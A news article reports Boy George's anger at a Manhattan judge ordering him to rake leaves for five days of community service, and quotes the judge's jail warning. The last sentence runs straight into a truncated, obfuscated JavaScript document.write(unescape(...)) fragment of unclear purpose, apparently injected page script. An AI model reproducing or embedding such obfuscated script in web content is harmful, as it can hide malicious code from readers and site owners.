Boy George angered at community service

Boy George has criticised his community service punishment of sweeping leaves in a New York park, saying a charity concert would have been more worthwhile.

The former Culture Club frontman, whose real name is George O'Dowd, had wanted to put on a show to raise money for an Aids organisation as part of his sentence for wasting police time.

But an angry judge at Manhattan Criminal Court ruled earlier this month that he should do the same sort of task as everybody else. And he warned O'Dowd that if he did not complete his five days' raking duty by the end of August, he would be jailed.

"I'm not going to give you another chance," Judge Anthony Ferrara said sternly. After the hearing the singer said he was relieved and untroubled by the menial nature of his punishment, but still believed it was not the best choice.

"It would have been more useful to make 30 grand with a concert, rather than be prancing around in a park. I could have raised some money, could have done something that would have helped," O'Dowd told the Press Association.

O'Dowd said of the leaf raking, which he will do in August at an unspecified park in the city: "I don't care about doing cleaning up. My mum was a cleaner. I've always been a scrubber."

He vowed to dress up for duty in "something loud" having been relieved to find out an orange boiler suit would not be required attire. O'Dowd described his arrest in October after he himself called police to his Little Italy apartment as "just a very unfortunate trauma".

O'Dowd denied that he had ever proposed fulfilling his community service by providing fashion and make-up lessons at an Aids charity, a suggestion from his lawyer, Louis Freeman, that was ridiculed by Judge Ferrara at the June 16 hearing.

Judge Ferrara told a solemn O'Dowd, who was wearing a black suit over a black T-shirt: "This is a simple matter of five days of community service. It's up to you as to whether it will be an exercise in humiliation or an exercise in humility. Your choice." Pointing to the door to the cells, he added: "I'm going to make you a promise: if you don't do the community service you go through that door. You must bring your toothbrush."

O'Dowd nodded sombrely as the judge warned him of the consequences of not completing his service by August 28. Mr Freeman said the fine together with a £90 surcharge had now been paid.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;